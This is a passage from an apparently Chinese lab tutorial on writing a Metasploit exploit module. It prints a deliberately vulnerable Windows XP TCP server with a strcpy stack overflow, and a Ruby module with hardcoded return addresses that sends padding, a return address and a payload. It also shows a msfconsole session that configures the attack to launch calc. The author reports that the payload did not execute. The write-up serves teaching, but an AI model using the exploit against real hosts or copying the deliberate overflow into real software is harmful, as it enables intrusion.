• 4.2 metasploit 开发 exploit

    目录

    一、实验清单

    二、实验思路

    三、实验步骤

    一、实验清单

    实验清单
    类型序号软硬件要求规格
    攻击机1数量1台
    2操作系统版本kali
    3软件版本metasploit
    靶机1数量1台
    2操作系统版本windows xp sp3
    3软件版本vc++

    二、实验思路

            靶机：采用一个存在典型栈溢出的server，其代码如下：

    1. #include
    2. #include
    3. #pragma comment(lib,"ws2_32.lib") 
    4. void msg_display(char *buf)
    5. {
    6. 	char msg[200];
    7. 	strcpy(msg,buf);  //overflow here,copy 0x200 to200
    8. 	cout<<"***************"<
    9. 	cout<<"received:"<
    10. 	cout<
    11. }
    12.  
    13. void main()
    14. {
    15. 	int sock,msgsock,lenth,receive_len;
    16. 	struct sockaddr_in sock_server,sock_client;
    17. 	char buf[0x200];//notice it is 0x200
    18.  
    19. 	WSADATA wsa;
    20. 	WSAStartup(MAKEWORD(1,1),&wsa);
    21. 	if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
    22. 	{
    23. 		cout<"socket creating error!"<
    24. 		exit(1);
    25. 	}
    26. 	sock_server.sin_family=AF_INET;
    27. 	sock_server.sin_port=htons(7777);
    28. 	sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
    29. 	if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
    30. 	{
    31. 		cout<<"binging stream socket error!"<
    32. 	}
    33. 	cout<<"****************************"<
    34. 	cout<<"exploit target server 1.0 "<
    35. 	cout<<"****************************"<
    36. 	listen(sock,4);
    37. 	lenth=sizeof(struct sockaddr);
    38. 	do{
    39. 		msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
    40. 		if(msgsock==-1)
    41. 		{
    42. 			cout<<"accept error"<
    43. 			break;
    44. 		}
    45. 		else
    46. 			do
    47. 			{
    48. 				memset(buf,0,sizeof(buf));
    49. 				if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
    50. 				{
    51. 					cout<<"reading stream message error!"<
    52. 					receive_len=0;
    53. 				}
    54. 				msg_display(buf);   //trigged the overflow
    55. 			}while(receive_len);
    56. 			closesocket(msgsock);
    57. 	}while(1);
    58. 	WSACleanup();
    59. }

            程序大致思路：在vc++中编译运行后，程序会在7777端口监听TCP连接，如果收到数据，就在屏幕上打印出来。在main函数中，buf数组的大小被声明为0x200，在mag_display函数中，将大小为0x200的字符串复制进200大小的局部数组，从而引发一个典型的栈溢出。

            攻击机：使用Ruby语言开发一个exploit模板，并在MSF上运行以测试漏洞。Ruby脚本如下：

    1. #!/usr/bin/env ruby
    2. require 'msf/core'
    3. class Metasploit3 < Msf::Exploit::Remote
    4. 	include Exploit::Remote::TCP
    5. 	def initialize(info = {})
    6. 		super(update_info(info,
    7. 		'Name' => 'failwest_test',
    8. 		'Platform' => 'win',
    9. 		'Target' => [
    10. 			['Windows 2000',{'Ret' => 0x77F8948B}],
    11. 			['WIndows XP SP3',{'Ret' => 0x77D928A3}]
    12. 			],
    13. 		'Payload' => {
    14. 			'Space' => 2000,
    15. 			'BadChars' => "\x00",
    16. 			}
    17. 		))
    18. 	end #end of initialize
    19. 	def exploit
    20. 		connect
    21. 		attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded
    22. 		sock.put(attack_buf)
    23. 		handler
    24. 		disconnect
    25. 	end #end of exploit def
    26. end #end of class def

            对上述代码进行简单解释：

            （1）require指明所需的类库，相当于C语言的include；

            （2）运算符“<”表示继承，也就是，我们这里所定义的类是由Msf::Exploit::Remote继承而来；

            （3）在类中，定义了两个方法（函数），一个是initialize，另一个是exploit。现在模板的框架可以看成：

    1. class xxx
    2.     
    3.     def initialize
    4.     #定义模块初始化信息，如漏洞适用的操作系统平台、为不同操作系统指明不同的返回地址
    5.     #指明shellcode中禁止出现的特殊字符、漏洞相关描述、URL引用、作者信息等
    6.     end
    7.  
    8.     def exploit
    9.     #将填充物、返回地址、shellcode等组织成最终的attack_buf,并发送
    10.     end
    11.  
    12. end

            从实验所用的Ruby脚本看initialize：

    1. def initialize(info = {})
    2. 		super(update_info(info,
    3. 		'Name' => 'failwest_test',
    4. 		'Platform' => 'win',
    5. 		'Target' => [
    6. 			['Windows 2000',{'Ret' => 0x77F8948B}],
    7. 			['WIndows XP SP3',{'Ret' => 0x77D928A3}]
    8. 			],
    9. 		'Payload' => {
    10. 			'Space' => 2000,
    11. 			'BadChars' => "\x00",
    12. 			}
    13. 		))
    14. 	end #end of initialize

            （1）Name模块的名称，在msf console中，使用“show exploit”命令，会显示每一个exploit的序号、路径...以及此时这个Name；

            （2）Platform模块运行平台，MSF通过这个值来为exploit挑选payload。本例中，该值为‘win’，在挑选payload时，MSF只会选择windows平台的payload，而BSD、linux的payload将会被禁用。

            （3）Targets可以定义多种操作系统的返回地址。可以用ollydbg或者msf有个模块可以获取跳转指令的返回地址。

            （4）Payload则是对shellcode的要求，如大小和禁止用的字节等。

            再看exploit:

    1. def exploit
    2. 		connect
    3. 		attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded
    4. 		sock.put(attack_buf)
    5. 		handler
    6. 		disconnect
    7. 	end #end of exploit def

            对于attack_buf:

    attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded

             （1）用200个字符“a”填充缓冲区；

            （2）pack('V')的作用是把数据按照DWORD逆序

            （3）payload.excoded是将payload编码。

    三、实验步骤

    1、在靶机上编译并运行漏洞程序；

    2、在攻击机上编写Ruby脚本，保存为“test_exploit.rb”，存放路径为：

    /var/usr/share/metasploit-framework/modules/exploits/failwest/

    3、启动msf console，并且输入以下命令；

    1. msf6 > use exploit/failwest/test_exploit
    2. [*] No payload configured, defaulting to generic/shell_reverse_tcp
    3. msf6 exploit(failwest/test_exploit) > show targets
    4.  
    5. Exploit targets:
    6.  
    7.    Id  Name
    8.    --  ----
    9.    0   Automatic
    10.    1   Windows 2000
    11.    2   WIndows XP SP2
    12.  
    13.  
    14. msf6 exploit(failwest/test_exploit) > set target 2
    15. target => 2
    16. msf6 exploit(failwest/test_exploit) > show payloads
    17.  
    18. Compatible Payloads
    19. ===================
    20.  
    21.    #   Name                                                 Disclosure Date  Rank    Check  Description
    22.    -   ----                                                 ---------------  ----    -----  -----------
    23.    0   payload/generic/custom                                                normal  No     Custom Payload
    24.    1   payload/generic/debug_trap                                            normal  No     Generic x86 Debug Trap
    25.    2   payload/generic/shell_bind_tcp                                        normal  No     Generic Command Shell, Bind TCP Inline
    26.    3   payload/generic/shell_reverse_tcp                                     normal  No     Generic Command Shell, Reverse TCP Inline
    27.    4   payload/generic/ssh/interact                                          normal  No     Interact with Established SSH Connection
    28.    5   payload/generic/tight_loop                                            normal  No     Generic x86 Tight Loop
    29.    6   payload/windows/dllinject/reverse_nonx_tcp                            normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
    30.    7   payload/windows/dllinject/reverse_ord_tcp                             normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
    31.    8   payload/windows/exec                                                  normal  No     Windows Execute Command
    32.    9   payload/windows/meterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
    33.    10  payload/windows/meterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
    34.    11  payload/windows/metsvc_bind_tcp                                       normal  No     Windows Meterpreter Service, Bind TCP
    35.    12  payload/windows/metsvc_reverse_tcp                                    normal  No     Windows Meterpreter Service, Reverse TCP Inline
    36.    13  payload/windows/patchupdllinject/reverse_nonx_tcp                     normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
    37.    14  payload/windows/patchupdllinject/reverse_ord_tcp                      normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
    38.    15  payload/windows/patchupmeterpreter/reverse_nonx_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
    39.    16  payload/windows/patchupmeterpreter/reverse_ord_tcp                    normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
    40.    17  payload/windows/peinject/reverse_nonx_tcp                             normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
    41.    18  payload/windows/peinject/reverse_ord_tcp                              normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
    42.    19  payload/windows/powershell_bind_tcp                                   normal  No     Windows Interactive Powershell Session, Bind TCP
    43.    20  payload/windows/powershell_reverse_tcp                                normal  No     Windows Interactive Powershell Session, Reverse TCP
    44.    21  payload/windows/powershell_reverse_tcp_ssl                            normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
    45.    22  payload/windows/shell/reverse_nonx_tcp                                normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
    46.    23  payload/windows/shell/reverse_ord_tcp                                 normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
    47.    24  payload/windows/upexec/reverse_nonx_tcp                               normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
    48.    25  payload/windows/upexec/reverse_ord_tcp                                normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
    49.    26  payload/windows/vncinject/reverse_nonx_tcp                            normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
    50.    27  payload/windows/vncinject/reverse_ord_tcp                             normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
    51.  
    52. msf6 exploit(failwest/test_exploit) > set payload windows/exec
    53. payload => windows/exec
    54. msf6 exploit(failwest/test_exploit) > show options
    55.  
    56. Module options (exploit/failwest/test_exploit):
    57.  
    58.    Name    Current Setting  Required  Description
    59.    ----    ---------------  --------  -----------
    60.    RHOSTS                   yes       The target host(s), see https://github.com/ra
    61.                                       pid7/metasploit-framework/wiki/Using-Metasplo
    62.                                       it
    63.    RPORT                    yes       The target port (TCP)
    64.  
    65.  
    66. Payload options (windows/exec):
    67.  
    68.    Name      Current Setting  Required  Description
    69.    ----      ---------------  --------  -----------
    70.    CMD                        yes       The command string to execute
    71.    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread,
    72.                                         process, none)
    73.  
    74.  
    75. Exploit target:
    76.  
    77.    Id  Name
    78.    --  ----
    79.    2   WIndows XP SP2
    80.  
    81.  
    82. msf6 exploit(failwest/test_exploit) > set rhost 192.168.92.132  //靶机IP
    83. rhost => 192.168.92.132
    84. msf6 exploit(failwest/test_exploit) > set rport 7777
    85. rport => 7777
    86. msf6 exploit(failwest/test_exploit) > set cmd calc
    87. cmd => calc
    88. msf6 exploit(failwest/test_exploit) > set exitfunc seh
    89. exitfunc => seh
    90. msf6 exploit(failwest/test_exploit) > exploit

    4、回到靶机，可以看到如下界面：

            唯一的不足就是：shellcode已经注入到靶机中了，但是没有运行。

            为此，做了以下努力：

            （1）使用telnet命令，连接到了靶机，并且也正常输出字符，说明漏洞程序没有问题；

             （2）在msf中，使用generate命令，将payload为windows/exec的shellcode找出来，并且用加载程序在靶机上运行，结果是可以调出计算器，正常运行。

            至此，具体为什么使用exploit注入的shellcode无法运行的原因不知，有待进一步研究。

  • 相关阅读:
    【 Maven 】花式玩法之多模块项目
    拆解美图SaaS：开着飞机换引擎
    Spring Bean 的生命周期
    JAVA小游戏 “拼图”
    再见 Typescript，你好 Javascript 原生打字 ✨
    线性代数学习笔记11-3：总复习（习题）
    短信验证码
    西门子S7-1200F或1500F系列安全PLC的组态步骤和基础编程（二）
    栈和队列基础
    [附源码]java毕业设计社区新冠疫情防控网站
  • 原文地址：https://blog.csdn.net/qq_55202378/article/details/126528055